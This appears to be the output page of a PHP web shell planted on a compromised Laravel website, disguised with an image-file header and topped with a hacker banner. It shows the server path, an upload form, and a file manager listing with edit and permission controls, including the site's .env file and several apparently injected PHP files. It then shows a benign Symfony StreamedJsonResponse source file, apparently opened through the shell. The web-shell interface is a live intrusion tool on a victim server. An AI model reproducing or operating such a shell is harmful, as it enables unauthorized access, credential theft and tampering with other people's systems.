ÿØÿÛ C   iamH4CKEERRRRRRRRRRRS

I am a hacker in the dark of a very cold night

path :/home/stechedu/htdocs/stechedu.com

upload file:

List of files:

name file size edit permission action
.editorconfig258 KBAugust 13 2024 21:03:020770
.env1340 KBNovember 09 2024 13:13:000770
.env.example1213 KBAugust 13 2024 21:03:020770
.gitattributes186 KBAugust 13 2024 21:03:020770
.htaccess466 KBAugust 13 2024 21:03:020770
.well-known-July 10 2025 23:46:460750
11.php70548 KBJuly 01 2025 20:07:370644
Modules-November 04 2024 11:42:060755
README.md80 KBAugust 13 2024 21:03:020770
admin-link.php17837 KBJuly 21 2025 17:21:090644
app-November 04 2024 11:42:060755
artisan1686 KBAugust 13 2024 21:03:020770
aws.php188721 KBJuly 21 2025 17:21:090644
bootstrap-November 04 2024 11:38:260777
composer.json2932 KBSeptember 19 2024 12:33:020770
composer.lock415525 KBSeptember 19 2024 12:33:020770
config-July 02 2025 03:17:170777
database-November 04 2024 11:42:060777
index.php13824 KBJuly 02 2025 01:57:550770
ktq.txt1 KBJuly 02 2025 01:58:010644
lang-November 04 2024 11:38:260777
main.php302 KBJuly 05 2025 04:22:240644
modules_statuses.json775 KBAugust 26 2024 12:34:260770
package-lock.json72682 KBNovember 09 2024 12:47:510770
package.json481 KBAugust 13 2024 21:03:020770
phpunit.xml1084 KBAugust 13 2024 21:03:020770
postcss.config.js93 KBAugust 13 2024 21:03:020770
public-July 12 2025 06:01:050777
resources-November 04 2024 11:42:070755
robots.txt986 KBJuly 23 2025 17:22:250644
routes-November 04 2024 11:38:260777
server.php541 KBAugust 13 2024 21:03:040770
ss.php17569 KBJuly 02 2025 03:06:060644
storage-November 04 2024 11:42:080755
tailwind.config.js541 KBAugust 13 2024 21:03:040770
tests-November 04 2024 11:42:080777
tmp.zip3878 KBJuly 21 2025 17:21:090644
vendor-November 04 2024 11:42:120777
version.json26 KBOctober 15 2024 18:29:320770
vite-module-loader.js1397 KBAugust 13 2024 21:03:060770
vite.config.js310 KBAugust 13 2024 21:03:060770
* * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; /** * StreamedJsonResponse represents a streamed HTTP response for JSON. * * A StreamedJsonResponse uses a structure and generics to create an * efficient resource-saving JSON response. * * It is recommended to use flush() function after a specific number of items to directly stream the data. * * @see flush() * * @author Alexander Schranz * * Example usage: * * function loadArticles(): \Generator * // some streamed loading * yield ['title' => 'Article 1']; * yield ['title' => 'Article 2']; * yield ['title' => 'Article 3']; * // recommended to use flush() after every specific number of items * }), * * $response = new StreamedJsonResponse( * // json structure with generators in which will be streamed * [ * '_embedded' => [ * 'articles' => loadArticles(), // any generator which you want to stream as list of data * ], * ], * ); */ class StreamedJsonResponse extends StreamedResponse { private const PLACEHOLDER = '__symfony_json__'; /** * @param mixed[] $data JSON Data containing PHP generators which will be streamed as list of data or a Generator * @param int $status The HTTP status code (200 "OK" by default) * @param array $headers An array of HTTP headers * @param int $encodingOptions Flags for the json_encode() function */ public function __construct( private readonly iterable $data, int $status = 200, array $headers = [], private int $encodingOptions = JsonResponse::DEFAULT_ENCODING_OPTIONS, ) { parent::__construct($this->stream(...), $status, $headers); if (!$this->headers->get('Content-Type')) { $this->headers->set('Content-Type', 'application/json'); } } private function stream(): void { $jsonEncodingOptions = \JSON_THROW_ON_ERROR | $this->encodingOptions; $keyEncodingOptions = $jsonEncodingOptions & ~\JSON_NUMERIC_CHECK; $this->streamData($this->data, $jsonEncodingOptions, $keyEncodingOptions); } private function streamData(mixed $data, int $jsonEncodingOptions, int $keyEncodingOptions): void { if (\is_array($data)) { $this->streamArray($data, $jsonEncodingOptions, $keyEncodingOptions); return; } if (is_iterable($data) && !$data instanceof \JsonSerializable) { $this->streamIterable($data, $jsonEncodingOptions, $keyEncodingOptions); return; } echo json_encode($data, $jsonEncodingOptions); } private function streamArray(array $data, int $jsonEncodingOptions, int $keyEncodingOptions): void { $generators = []; array_walk_recursive($data, function (&$item, $key) use (&$generators) { if (self::PLACEHOLDER === $key) { // if the placeholder is already in the structure it should be replaced with a new one that explode // works like expected for the structure $generators[] = $key; } // generators should be used but for better DX all kind of Traversable and objects are supported if (\is_object($item)) { $generators[] = $item; $item = self::PLACEHOLDER; } elseif (self::PLACEHOLDER === $item) { // if the placeholder is already in the structure it should be replaced with a new one that explode // works like expected for the structure $generators[] = $item; } }); $jsonParts = explode('"'.self::PLACEHOLDER.'"', json_encode($data, $jsonEncodingOptions)); foreach ($generators as $index => $generator) { // send first and between parts of the structure echo $jsonParts[$index]; $this->streamData($generator, $jsonEncodingOptions, $keyEncodingOptions); } // send last part of the structure echo $jsonParts[array_key_last($jsonParts)]; } private function streamIterable(iterable $iterable, int $jsonEncodingOptions, int $keyEncodingOptions): void { $isFirstItem = true; $startTag = '['; foreach ($iterable as $key => $item) { if ($isFirstItem) { $isFirstItem = false; // depending on the first elements key the generator is detected as a list or map // we can not check for a whole list or map because that would hurt the performance // of the streamed response which is the main goal of this response class if (0 !== $key) { $startTag = '{'; } echo $startTag; } else { // if not first element of the generic, a separator is required between the elements echo ','; } if ('{' === $startTag) { echo json_encode((string) $key, $keyEncodingOptions).':'; } $this->streamData($item, $jsonEncodingOptions, $keyEncodingOptions); } if ($isFirstItem) { // indicates that the generator was empty echo '['; } echo '[' === $startTag ? ']' : '}'; } }